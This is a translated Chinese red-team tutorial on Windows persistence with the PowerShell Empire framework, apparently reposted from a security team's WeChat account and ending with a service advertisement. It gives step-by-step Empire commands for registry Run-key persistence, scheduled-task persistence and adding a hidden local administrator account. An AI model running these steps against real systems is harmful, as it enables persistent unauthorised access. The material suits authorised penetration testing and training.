翻译Windows红队持久性技术-3
2023-3-26 13:15:43 Author: 网络安全交流圈(查看原文) 阅读量:16 收藏

2、假设我们的目标运行的是Windows 10,我们可以利用“powershell/privesc/bypassuac”empire模块来获取提升的代理,这可以通过运行以下命令来完成:

现在我们已经获得了一个高度完整性的代理,我们可以看看如何使用各种Empire持久性模块。


通过Windows注册表实现持久性

persistence/userland/*模块允许从userland重新启动持久化(即不需要管理权限)。
如果指定了Listener,则会自动生成Empire代理的staging代码,并将其用作要触发的脚
本逻辑。如果指定了ExtFile(例如,如果您想生成一个PowerBreach后门并使用它),则
该文件将被适当编码并使用。

模块由触发器机制分解,每个模块都有不同的存储位置。对于用户态模块,存储位置在注册表

中(在HKCU配置单元中),在备用数据流中,或在应用程序事件日志中。如果指定Cleanup

命令,则完全清除可用,该命令将删除指定的触发器和存储的脚本逻辑。注意:如果逻辑存储

在应用程序事件日志中,则不会清除此存储的脚本逻辑。

在本例中,我们将看一下如何在非特权代理上使用“powershell/persistence/userlan

d/registry”模块。persistence/userland/* 模块允许从userland重新启动持久化

(即不需要管理权限)。

1、第一步将涉及与非特权代理交互并选择userland Registry模块,这可以通过运行以下

命令来完成:

interact<AGENT-ID>/<NAME> usemodule powershell/persistence/userland/registry

2、选择模块后,我们需要配置模块选项,如Agent、Listener、KeyName和RegPath。这

可以通过运行以下命令来完成:

 set Listener http set Agent <AGENT-ID>/<NAME> set RegPath HKCU:\Software\Microsoft\Windows\CurrentVersion\Run set KeyName <KEY-NAME>


我们将添加持久化stager的注册表路径将是Run注册表项,Run和RunOnce注册表项会在用
户每次登录时运行程序。注册表项的数据值是一个不超过260个字符的命令行。通过添加以下
形式的条目来注册要运行的程序 description-string=命令行.可以在一个键下写入多个
条目。如果在任何特定的键下注册了多个程序,则这些程序运行的顺序是不确定的。

3、在配置模块选项之后,我们可以通过在Empire客户端中运行以下命令来执行模块:

execute

4、我们可以通过运行Windows注册表查询命令来确定是否添加了注册表项:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

5、如果模块成功运行,您应该看到我们在添加的模块选项中指定的注册表项,如以下屏幕截

图所示。

现在,无论何时重新引导或引导目标系统,我们都应该收到来自目标系统的代理回调。

通过计划任务的持久性

我们还可以通过使用Empire模块“powershell/persistence/userland/schtasks”在
目标系统上设置持久性。persistence/userland/* 模块允许从userland重新启动持久
化(即不需要管理权限)。

1、第一步将涉及与非特权代理交互并选择userland Registry模块,这可以通过运行以下

命令来完成:

interact<AGENT-ID>/<NAME> usemodule powershell/persistence/userland/schtasks

2、选择模块后,我们需要配置模块选项,如Listener、RegPath和DailyTime,这可以通

过在Empire客户端中运行以下命令来完成:

 set Listener http set Agent <AGENT-ID>/<NAME> set RegPath HKCU:\Software\Microsoft\Windows\CurrentVersion\Run set DailyTime 09:00

3、在配置模块选项之后,我们可以通过在Empire客户端中运行以下命令来执行模块:

 execute

如果成功,您应该会收到类似于下面屏幕截图所示的输出。

注意:您还可以使用persistence/elevated/*模块来允许从提升的上下文(即具有管理权限)进行reboot-persistence。如果指定了Li
stener,则会自动生成Empire代理的staging代码,并将其用作要触发的脚本逻辑。如果
指定了ExtFile(例如,如果您想生成一个PowerBreach后门并使用它),则该文件将被适
当编码并使用。

通过创建本地帐户实现持久化

攻击者可能会创建本地帐户以保持对受害系统的访问。本地帐户是由组织配置的帐户,供用户、远程支持、服务使用,或用于在单个系统或服务上进行管理。有了足够的访问权限,就可以使用net user /add命令创建本地帐户。
我们可以将本地用户添加到Windows目标上的管理组,作为维护对目标的访问的一种方法,
这可以通过使用“powershell/persistence/misc/add_netuser”模块来完成。

1、第一步将涉及与代理交互并选择“add_netuser”模块,这可以通过运行以下命令来完成:

interact<AGENT-ID>/<NAME> usemodule powershell/persistence/misc/add_netuser

2、选择模块后,我们需要配置模块选项,例如ComputerName、Domain、GroupName、

Password和username,这可以通过在Empire客户端中运行以下命令来完成:

 set GroupName Administrators set ComputerName <COMPUTER-NAME> set Password <PASSWORD> set UserName <USERNAME>

3、在配置模块选项之后,我们可以通过在Empire客户端中运行以下命令来执行模块:

execute


4、如果成功,您应该会收到类似于下面屏幕截图所示的输出。

5、我们还可以通过在目标系统上运行net user命令来确认新用户帐户已添加,如下面的屏

幕截图所示。


我们可以利用此用户帐户通过RDP等合法的身份验证协议对目标系统进行后门访问。
持久代理
现在我们已经在目标系统上设置了持久性,每当系统重新启动时,我们都应该收到一个代理回
调,如下面的屏幕截图所示。

团队业务范围

1. 《漏洞扫描服务》

2. 《渗透测试服务》

3. 《互联网暴露面服务》

4. 《APP安全测试服务》

5. 《代码审计服务》

6.《CTF\WEB\内网培训业务》

7. 《应急响应服务》

8. 《实战攻防演习服务》

9. 《钓鱼邮件测试服务》

团队时刻保持专业和热情,并且致力于提供卓越的服务,让每一位客户都能感受到我们的用心与专业。无论您遇到什么问题或需求,我们都会全心全意地为您解决,让您享受到最优质的服务体验。(业务需要请关注公众号微信联系)

点击下方名片关注公众号



文章来源: http://mp.weixin.qq.com/s?__biz=MzI1MDk3NDc5Mg==&mid=2247484449&idx=1&sn=91448156adacfbd482c9c0d05ef26809&chksm=e9fb4306de8cca10054325d29295ca72aeb3d959dd9e0c45285d6c2f32704eba4759e2f327bc#rd
如有侵权请联系:admin#unsafe.sh